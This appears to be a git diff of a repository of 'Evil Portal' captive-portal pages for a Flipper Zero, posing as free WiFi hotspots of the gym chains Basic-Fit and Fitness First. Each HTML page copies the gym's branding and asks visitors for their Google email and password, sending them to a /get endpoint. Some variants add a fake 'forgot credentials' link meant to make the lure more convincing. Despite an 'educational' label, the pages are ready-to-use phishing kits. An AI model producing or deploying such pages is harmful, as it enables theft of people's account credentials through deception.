206 149 389 285 519 146 140 367 252 536 272 28 4 53 8 55 10 2 2 640 4 1418
4 l1413 0 1 -282z m692 -2406 c25 -11 64 -39 87 -62 112 -112 113 -298 2 -413
-62 -65 -104 -81 -207 -82 -81 0 -95 3 -144 30 -65 36 -105 83 -131 153 -91
243 156 479 393 374z"/>
<path d="M37703 7629 c-182 -91 -165 -364 26 -428 115 -38 260 35 291 148 24
88 2 187 -53 239 -65 61 -187 80 -264 41z m183 -54 c24 -10 39 -26 50 -50 19
-45 10 -83 -28 -116 l-30 -25 36 -47 c20 -26 36 -52 36 -57 0 -6 -16 -10 -35
-10 -29 0 -38 6 -66 48 -38 55 -46 62 -76 62 -19 0 -22 -6 -25 -52 -3 -47 -6
-53 -27 -56 -13 -2 -27 0 -32 5 -10 10 -14 287 -4 303 10 16 161 12 201 -5z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

6
Gyms/Basic-Fit/README.md Normal file
View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a BASIC-FIT "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
BASIC-FIT WiFi

View File

@@ -0,0 +1,204 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #FF6400;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #FF6400;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #FF6400;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #FF6400;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="93.000000pt" height="158.000000pt" viewBox="0 0 933.000000 1587.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1587.000000) scale(0.100000,-0.100000)"
fill="#FF6400" stroke="none">
<path d="M3375 15713 c-8 -148 2 -2024 11 -2119 l5 -51 -907 604 c-498 331
-911 603 -917 603 -7 0 22 -32 63 -72 41 -39 125 -119 185 -178 169 -163 598
-574 815 -780 107 -101 247 -235 310 -296 63 -62 131 -126 150 -142 l34 -31
-24 -5 c-14 -3 -702 -98 -1530 -211 -828 -113 -1521 -209 -1540 -213 -21 -5
184 -12 500 -16 294 -4 537 -10 540 -12 2 -3 -152 -2881 -342 -6397 -190
-3516 -345 -6394 -343 -6396 5 -5 3654 315 3660 321 3 2 8 518 12 1145 l6
1142 46 5 c25 3 224 22 441 41 217 19 477 42 578 51 101 9 184 15 186 13 2 -2
90 -508 196 -1124 105 -616 195 -1123 199 -1126 7 -7 3608 305 3617 313 3 3
-337 1369 -755 3034 -1621 6460 -2352 9380 -2354 9399 -2 18 14 22 183 51 690
120 894 159 841 162 -56 3 -226 -4 -2095 -84 -583 -24 -1066 -44 -1073 -42
-14 3 28 61 588 818 488 660 730 992 725 997 -4 5 -413 -384 -891 -847 -66
-64 -178 -172 -250 -241 -71 -68 -190 -183 -265 -254 -182 -177 -215 -206
-217 -197 -1 4 -25 140 -52 302 -28 162 -84 487 -126 722 -79 456 -129 771
-169 1067 -14 101 -27 185 -29 188 -3 2 -8 -62 -12 -144z m716 -3183 c0 -123
10 -193 30 -226 11 -19 19 -50 19 -78 0 -39 -6 -52 -35 -85 -19 -21 -49 -44
-65 -51 l-30 -12 0 -107 c0 -140 19 -267 82 -545 57 -256 60 -289 44 -571 -10
-186 -4 -229 71 -484 99 -338 113 -398 123 -551 18 -265 8 -228 143 -512 l65
-137 74 -21 c40 -12 79 -23 86 -25 16 -6 17 -18 -24 152 -49 204 -54 299 -21
428 14 55 30 141 37 190 25 200 29 212 83 261 110 98 259 154 412 154 254 0
457 -138 502 -342 21 -99 21 -289 -1 -396 -49 -236 -160 -440 -340 -624 -123
-126 -141 -167 -141 -323 0 -132 8 -157 115 -385 103 -217 124 -287 118 -393
-4 -66 -13 -101 -45 -178 -53 -128 -93 -186 -216 -309 -137 -138 -141 -149
-191 -511 -11 -76 -29 -144 -65 -240 -94 -254 -90 -356 17 -468 57 -60 81
-117 103 -244 30 -180 28 -175 226 -470 197 -294 229 -366 374 -865 109 -376
174 -536 277 -682 25 -36 125 -146 222 -245 248 -252 265 -277 376 -561 76
-195 108 -261 183 -374 72 -107 86 -132 211 -370 104 -198 198 -350 265 -428
45 -52 111 -102 290 -222 282 -188 375 -328 301 -454 -90 -154 -268 -162 -704
-31 -213 63 -307 84 -452 100 -69 7 -142 20 -163 28 -43 19 -51 35 -75 160
l-17 89 -70 55 c-183 143 -184 146 -230 363 -13 63 -31 135 -40 159 -28 80
-161 289 -379 596 -271 383 -322 471 -431 750 -109 279 -154 344 -345 495
-192 153 -189 149 -385 475 -141 236 -207 326 -306 419 -87 82 -219 157 -282
160 l-32 1 -131 -260 c-198 -394 -335 -717 -452 -1060 -105 -309 -103 -303
-112 -565 -8 -258 -7 -250 -85 -415 -56 -119 -99 -278 -114 -430 -10 -97 -15
-627 -8 -940 1 -85 -2 -120 -16 -155 -19 -50 -46 -68 -200 -131 -84 -34 -177
-96 -217 -146 -14 -17 -83 -95 -155 -174 l-129 -142 -136 6 c-151 7 -231 23
-314 64 -64 31 -78 58 -78 152 0 73 25 123 93 187 72 70 122 151 179 294 27
69 61 151 75 183 46 106 81 401 115 997 27 464 31 485 160 871 38 113 81 250
95 305 29 107 28 91 45 654 16 493 57 1100 91 1350 38 276 85 452 180 671 63
146 65 158 46 259 -15 77 -13 82 115 302 97 169 118 220 152 373 69 307 79
344 121 432 24 50 84 164 134 251 101 178 123 226 186 392 24 63 80 205 125
314 45 110 88 229 96 265 16 76 17 185 4 286 -30 233 -31 276 -10 436 63 476
41 863 -73 1289 l-41 155 0 205 c-1 216 7 282 61 514 34 148 30 191 -35 336
-55 124 -74 209 -52 236 15 17 75 56 185 122 39 23 80 50 92 60 19 14 44 17
133 17 l110 0 1 -75z"/>
</g>
</svg>
<div class="brand-name"><b>BASIC FIT</b></div>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
BASIC-FIT WiFi

180
Gyms/Basic-Fit/index.html Normal file
View File

@@ -0,0 +1,180 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #FF6400;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #FF6400;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #FF6400;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #FF6400;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="93.000000pt" height="158.000000pt" viewBox="0 0 933.000000 1587.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1587.000000) scale(0.100000,-0.100000)"
fill="#FF6400" stroke="none">
<path d="M3375 15713 c-8 -148 2 -2024 11 -2119 l5 -51 -907 604 c-498 331
-911 603 -917 603 -7 0 22 -32 63 -72 41 -39 125 -119 185 -178 169 -163 598
-574 815 -780 107 -101 247 -235 310 -296 63 -62 131 -126 150 -142 l34 -31
-24 -5 c-14 -3 -702 -98 -1530 -211 -828 -113 -1521 -209 -1540 -213 -21 -5
184 -12 500 -16 294 -4 537 -10 540 -12 2 -3 -152 -2881 -342 -6397 -190
-3516 -345 -6394 -343 -6396 5 -5 3654 315 3660 321 3 2 8 518 12 1145 l6
1142 46 5 c25 3 224 22 441 41 217 19 477 42 578 51 101 9 184 15 186 13 2 -2
90 -508 196 -1124 105 -616 195 -1123 199 -1126 7 -7 3608 305 3617 313 3 3
-337 1369 -755 3034 -1621 6460 -2352 9380 -2354 9399 -2 18 14 22 183 51 690
120 894 159 841 162 -56 3 -226 -4 -2095 -84 -583 -24 -1066 -44 -1073 -42
-14 3 28 61 588 818 488 660 730 992 725 997 -4 5 -413 -384 -891 -847 -66
-64 -178 -172 -250 -241 -71 -68 -190 -183 -265 -254 -182 -177 -215 -206
-217 -197 -1 4 -25 140 -52 302 -28 162 -84 487 -126 722 -79 456 -129 771
-169 1067 -14 101 -27 185 -29 188 -3 2 -8 -62 -12 -144z m716 -3183 c0 -123
10 -193 30 -226 11 -19 19 -50 19 -78 0 -39 -6 -52 -35 -85 -19 -21 -49 -44
-65 -51 l-30 -12 0 -107 c0 -140 19 -267 82 -545 57 -256 60 -289 44 -571 -10
-186 -4 -229 71 -484 99 -338 113 -398 123 -551 18 -265 8 -228 143 -512 l65
-137 74 -21 c40 -12 79 -23 86 -25 16 -6 17 -18 -24 152 -49 204 -54 299 -21
428 14 55 30 141 37 190 25 200 29 212 83 261 110 98 259 154 412 154 254 0
457 -138 502 -342 21 -99 21 -289 -1 -396 -49 -236 -160 -440 -340 -624 -123
-126 -141 -167 -141 -323 0 -132 8 -157 115 -385 103 -217 124 -287 118 -393
-4 -66 -13 -101 -45 -178 -53 -128 -93 -186 -216 -309 -137 -138 -141 -149
-191 -511 -11 -76 -29 -144 -65 -240 -94 -254 -90 -356 17 -468 57 -60 81
-117 103 -244 30 -180 28 -175 226 -470 197 -294 229 -366 374 -865 109 -376
174 -536 277 -682 25 -36 125 -146 222 -245 248 -252 265 -277 376 -561 76
-195 108 -261 183 -374 72 -107 86 -132 211 -370 104 -198 198 -350 265 -428
45 -52 111 -102 290 -222 282 -188 375 -328 301 -454 -90 -154 -268 -162 -704
-31 -213 63 -307 84 -452 100 -69 7 -142 20 -163 28 -43 19 -51 35 -75 160
l-17 89 -70 55 c-183 143 -184 146 -230 363 -13 63 -31 135 -40 159 -28 80
-161 289 -379 596 -271 383 -322 471 -431 750 -109 279 -154 344 -345 495
-192 153 -189 149 -385 475 -141 236 -207 326 -306 419 -87 82 -219 157 -282
160 l-32 1 -131 -260 c-198 -394 -335 -717 -452 -1060 -105 -309 -103 -303
-112 -565 -8 -258 -7 -250 -85 -415 -56 -119 -99 -278 -114 -430 -10 -97 -15
-627 -8 -940 1 -85 -2 -120 -16 -155 -19 -50 -46 -68 -200 -131 -84 -34 -177
-96 -217 -146 -14 -17 -83 -95 -155 -174 l-129 -142 -136 6 c-151 7 -231 23
-314 64 -64 31 -78 58 -78 152 0 73 25 123 93 187 72 70 122 151 179 294 27
69 61 151 75 183 46 106 81 401 115 997 27 464 31 485 160 871 38 113 81 250
95 305 29 107 28 91 45 654 16 493 57 1100 91 1350 38 276 85 452 180 671 63
146 65 158 46 259 -15 77 -13 82 115 302 97 169 118 220 152 373 69 307 79
344 121 432 24 50 84 164 134 251 101 178 123 226 186 392 24 63 80 205 125
314 45 110 88 229 96 265 16 76 17 185 4 286 -30 233 -31 276 -10 436 63 476
41 863 -73 1289 l-41 155 0 205 c-1 216 7 282 61 514 34 148 30 191 -35 336
-55 124 -74 209 -52 236 15 17 75 56 185 122 39 23 80 50 92 60 19 14 44 17
133 17 l110 0 1 -75z"/>
</g>
</svg>
<div class="brand-name"><b>BASIC FIT</b></div>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Fitness First "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Fitness First WiFi

View File

@@ -0,0 +1,223 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #D71A32;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #D71A32;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #D71A32;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #D71A32;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="130.000000pt" height="95.000000pt" viewBox="0 0 1002.000000 711.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,711.000000) scale(0.100000,-0.100000)"
fill="#D71A32" stroke="none">
<path d="M0 3555 l0 -3555 5010 0 5010 0 0 3555 0 3555 -5010 0 -5010 0 0
-3555z m2753 2242 c-2 -4 -3 -14 -3 -22 0 -10 -11 -15 -35 -15 -38 0 -36 4
-55 -110 -16 -94 -18 -100 -45 -100 -21 0 -24 4 -19 28 3 15 11 62 18 105 l13
77 -33 0 c-26 0 -34 4 -34 18 0 10 2 21 4 23 7 7 191 3 189 -4z m102 -21 c3
-11 11 -47 17 -79 l13 -58 44 81 c39 71 48 80 73 80 32 0 32 7 13 -130 -8 -58
-15 -108 -15 -112 0 -5 -12 -8 -26 -8 -25 0 -26 1 -19 53 3 28 9 60 11 70 9
32 -4 18 -35 -39 -28 -48 -35 -55 -59 -52 -24 3 -28 9 -37 58 l-11 55 -13 -55
c-21 -90 -21 -90 -47 -90 -19 0 -24 4 -20 18 2 9 14 62 26 117 12 55 26 105
32 111 13 18 48 5 53 -20z m1695 29 c0 -2 -72 -485 -160 -1072 -88 -587 -160
-1076 -160 -1085 0 -17 19 -18 260 -18 255 0 260 0 260 -21 0 -22 -96 -679
-105 -716 l-5 -23 -930 0 c-911 0 -930 0 -930 19 0 20 97 678 105 719 l5 22
264 0 264 0 6 33 c3 17 49 320 101 672 52 352 98 655 101 673 l6 32 -267 0
-267 0 6 33 c3 17 28 185 56 372 28 187 52 346 55 353 3 9 147 12 670 12 366
0 665 -2 665 -5z m1250 -5 c0 -5 -25 -176 -55 -378 -30 -203 -55 -372 -55
-375 0 -10 -1058 -9 -1063 1 -3 5 106 745 112 760 1 1 240 2 531 2 345 0 530
-3 530 -10z m-660 -1067 c0 -5 -24 -165 -53 -358 l-53 -350 -283 -3 -283 -2 6
32 c3 18 26 175 51 348 26 173 48 321 50 328 3 9 69 12 285 12 154 0 280 -3
280 -7z m-2010 -2455 c0 -13 -3 -40 -6 -60 l-7 -37 -151 -3 -151 -3 -11 -67
-11 -68 214 0 c197 0 213 -1 213 -18 0 -18 -66 -468 -76 -514 -5 -27 -7 -28
-75 -28 -38 0 -69 4 -69 9 0 5 14 99 30 209 17 111 30 206 30 212 0 7 -46 10
-142 8 l-143 -3 -42 -275 c-23 -151 -42 -278 -42 -282 -1 -12 -141 -10 -141 2
0 13 129 876 136 913 l6 27 219 0 219 0 0 -22z m3385 -25 c-4 -27 -8 -54 -10
-60 -3 -10 -43 -13 -154 -13 l-149 0 -7 -47 c-3 -27 -9 -58 -12 -70 l-5 -23
216 0 c119 0 216 -2 216 -5 0 -3 -18 -125 -40 -272 -22 -148 -40 -271 -40
-275 0 -5 -33 -8 -73 -8 l-73 0 27 183 c15 100 30 199 33 220 l6 37 -145 0
c-94 0 -145 -4 -145 -10 0 -25 -81 -543 -86 -551 -3 -5 -34 -9 -70 -9 -59 0
-64 2 -64 21 0 24 129 897 135 917 3 9 57 12 225 12 l221 0 -6 -47z m-3000
-80 c-3 -16 -9 -52 -14 -80 l-8 -53 68 0 c37 0 70 -3 72 -7 2 -5 -1 -31 -5
-60 l-9 -52 -72 -3 -72 -3 -24 -158 c-16 -108 -20 -162 -13 -169 7 -7 27 -5
62 5 l51 15 10 -26 c24 -61 18 -76 -36 -94 -59 -20 -150 -23 -185 -5 -14 7
-33 28 -43 48 -17 36 -17 41 28 340 25 166 46 304 48 306 4 3 102 20 129 22
14 1 16 -5 13 -26z m4212 -5 c-3 -18 -9 -54 -13 -80 l-6 -48 71 0 72 0 -6 -47
c-10 -75 -8 -73 -84 -73 -80 0 -69 19 -96 -165 -9 -60 -18 -122 -21 -137 -7
-35 20 -44 75 -24 45 15 45 15 66 -43 l14 -39 -42 -17 c-57 -24 -158 -31 -197
-15 -35 14 -60 55 -60 97 0 24 80 594 85 600 2 3 104 20 129 22 15 1 17 -4 13
-31z m-3857 -152 l0 -35 54 25 c119 54 219 56 258 3 26 -35 25 -90 -6 -299
-39 -259 -26 -230 -107 -230 -49 0 -69 4 -69 13 0 6 13 100 30 206 16 107 26
199 23 204 -9 15 -74 2 -134 -26 l-54 -26 -24 -163 c-33 -231 -21 -208 -102
-208 -54 0 -69 3 -69 15 0 16 68 477 75 512 5 20 23 27 118 42 4 0 7 -15 7
-33z m792 10 c73 -35 100 -130 60 -206 -25 -47 -106 -94 -215 -127 l-88 -27 3
-35 c3 -35 4 -36 49 -39 40 -3 102 14 191 52 13 6 19 -1 28 -34 6 -23 14 -48
17 -56 11 -30 -156 -84 -263 -84 -109 0 -156 39 -162 133 -5 71 30 293 52 335
22 43 70 82 117 98 57 18 163 13 211 -10z m484 13 c32 -6 62 -13 65 -15 3 -2
2 -26 -4 -53 l-9 -50 -104 6 -103 6 -12 -26 c-17 -38 -8 -50 68 -92 134 -75
151 -100 133 -193 -21 -112 -58 -143 -180 -150 -73 -4 -170 9 -199 27 -11 7
-12 19 -4 57 10 55 2 52 115 33 81 -14 116 -7 128 27 15 38 -2 59 -80 100 -73
38 -116 79 -126 119 -9 37 15 132 42 164 40 47 145 63 270 40z m474 -2 c54
-12 55 -13 53 -45 0 -18 -4 -44 -7 -57 -5 -21 -9 -23 -39 -14 -37 11 -161 14
-176 4 -17 -10 -13 -60 7 -77 9 -8 47 -31 84 -52 109 -59 126 -100 93 -212
-25 -84 -77 -114 -194 -114 -59 0 -174 20 -187 32 -2 3 1 28 8 57 8 36 16 50
25 47 7 -3 43 -11 78 -17 81 -14 131 -6 140 22 14 44 -2 65 -86 110 -52 28
-89 55 -101 74 -30 49 -20 156 20 205 38 46 160 62 282 37z m1231 -34 c-3 -36
-3 -36 21 -21 12 8 44 27 70 42 54 31 53 32 62 -50 l5 -52 -82 -50 -82 -50
-25 -168 -25 -169 -73 -3 -73 -3 6 33 c9 57 75 498 75 507 0 9 111 30 120 23
2 -1 3 -19 1 -39z m534 33 l50 -12 -3 -49 c-2 -28 -5 -51 -7 -53 -2 -2 -36 0
-77 5 -108 12 -137 7 -144 -24 -10 -37 2 -51 81 -95 39 -21 83 -53 99 -70 27
-29 28 -35 23 -94 -9 -116 -55 -164 -167 -172 -67 -4 -191 10 -217 26 -8 5 -8
21 -1 60 10 48 13 53 32 48 99 -29 191 -30 208 -4 4 7 8 25 8 40 0 23 -9 33
-52 57 -105 58 -130 77 -145 105 -29 57 2 192 51 218 53 28 173 35 261 14z"/>
<path d="M4503 1930 c-26 -11 -44 -42 -54 -93 l-7 -38 32 6 c54 12 114 42 126
65 9 17 8 26 -5 46 -16 25 -50 31 -92 14z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with your <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
account</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Fitness First WiFi

View File

@@ -0,0 +1,199 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #FFC72C;
margin-right: 100px
}
.brand-name {
font-size: 42px;
color: #D71A32;
margin-left: 10px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #D71A32;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #D71A32;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #D71A32;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="130.000000pt" height="95.000000pt" viewBox="0 0 1002.000000 711.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,711.000000) scale(0.100000,-0.100000)"
fill="#D71A32" stroke="none">
<path d="M0 3555 l0 -3555 5010 0 5010 0 0 3555 0 3555 -5010 0 -5010 0 0
-3555z m2753 2242 c-2 -4 -3 -14 -3 -22 0 -10 -11 -15 -35 -15 -38 0 -36 4
-55 -110 -16 -94 -18 -100 -45 -100 -21 0 -24 4 -19 28 3 15 11 62 18 105 l13
77 -33 0 c-26 0 -34 4 -34 18 0 10 2 21 4 23 7 7 191 3 189 -4z m102 -21 c3
-11 11 -47 17 -79 l13 -58 44 81 c39 71 48 80 73 80 32 0 32 7 13 -130 -8 -58
-15 -108 -15 -112 0 -5 -12 -8 -26 -8 -25 0 -26 1 -19 53 3 28 9 60 11 70 9
32 -4 18 -35 -39 -28 -48 -35 -55 -59 -52 -24 3 -28 9 -37 58 l-11 55 -13 -55
c-21 -90 -21 -90 -47 -90 -19 0 -24 4 -20 18 2 9 14 62 26 117 12 55 26 105
32 111 13 18 48 5 53 -20z m1695 29 c0 -2 -72 -485 -160 -1072 -88 -587 -160
-1076 -160 -1085 0 -17 19 -18 260 -18 255 0 260 0 260 -21 0 -22 -96 -679
-105 -716 l-5 -23 -930 0 c-911 0 -930 0 -930 19 0 20 97 678 105 719 l5 22
264 0 264 0 6 33 c3 17 49 320 101 672 52 352 98 655 101 673 l6 32 -267 0
-267 0 6 33 c3 17 28 185 56 372 28 187 52 346 55 353 3 9 147 12 670 12 366
0 665 -2 665 -5z m1250 -5 c0 -5 -25 -176 -55 -378 -30 -203 -55 -372 -55
-375 0 -10 -1058 -9 -1063 1 -3 5 106 745 112 760 1 1 240 2 531 2 345 0 530
-3 530 -10z m-660 -1067 c0 -5 -24 -165 -53 -358 l-53 -350 -283 -3 -283 -2 6
32 c3 18 26 175 51 348 26 173 48 321 50 328 3 9 69 12 285 12 154 0 280 -3
280 -7z m-2010 -2455 c0 -13 -3 -40 -6 -60 l-7 -37 -151 -3 -151 -3 -11 -67
-11 -68 214 0 c197 0 213 -1 213 -18 0 -18 -66 -468 -76 -514 -5 -27 -7 -28
-75 -28 -38 0 -69 4 -69 9 0 5 14 99 30 209 17 111 30 206 30 212 0 7 -46 10
-142 8 l-143 -3 -42 -275 c-23 -151 -42 -278 -42 -282 -1 -12 -141 -10 -141 2
0 13 129 876 136 913 l6 27 219 0 219 0 0 -22z m3385 -25 c-4 -27 -8 -54 -10
-60 -3 -10 -43 -13 -154 -13 l-149 0 -7 -47 c-3 -27 -9 -58 -12 -70 l-5 -23
216 0 c119 0 216 -2 216 -5 0 -3 -18 -125 -40 -272 -22 -148 -40 -271 -40
-275 0 -5 -33 -8 -73 -8 l-73 0 27 183 c15 100 30 199 33 220 l6 37 -145 0
c-94 0 -145 -4 -145 -10 0 -25 -81 -543 -86 -551 -3 -5 -34 -9 -70 -9 -59 0
-64 2 -64 21 0 24 129 897 135 917 3 9 57 12 225 12 l221 0 -6 -47z m-3000
-80 c-3 -16 -9 -52 -14 -80 l-8 -53 68 0 c37 0 70 -3 72 -7 2 -5 -1 -31 -5
-60 l-9 -52 -72 -3 -72 -3 -24 -158 c-16 -108 -20 -162 -13 -169 7 -7 27 -5
62 5 l51 15 10 -26 c24 -61 18 -76 -36 -94 -59 -20 -150 -23 -185 -5 -14 7
-33 28 -43 48 -17 36 -17 41 28 340 25 166 46 304 48 306 4 3 102 20 129 22
14 1 16 -5 13 -26z m4212 -5 c-3 -18 -9 -54 -13 -80 l-6 -48 71 0 72 0 -6 -47
c-10 -75 -8 -73 -84 -73 -80 0 -69 19 -96 -165 -9 -60 -18 -122 -21 -137 -7
-35 20 -44 75 -24 45 15 45 15 66 -43 l14 -39 -42 -17 c-57 -24 -158 -31 -197
-15 -35 14 -60 55 -60 97 0 24 80 594 85 600 2 3 104 20 129 22 15 1 17 -4 13
-31z m-3857 -152 l0 -35 54 25 c119 54 219 56 258 3 26 -35 25 -90 -6 -299
-39 -259 -26 -230 -107 -230 -49 0 -69 4 -69 13 0 6 13 100 30 206 16 107 26
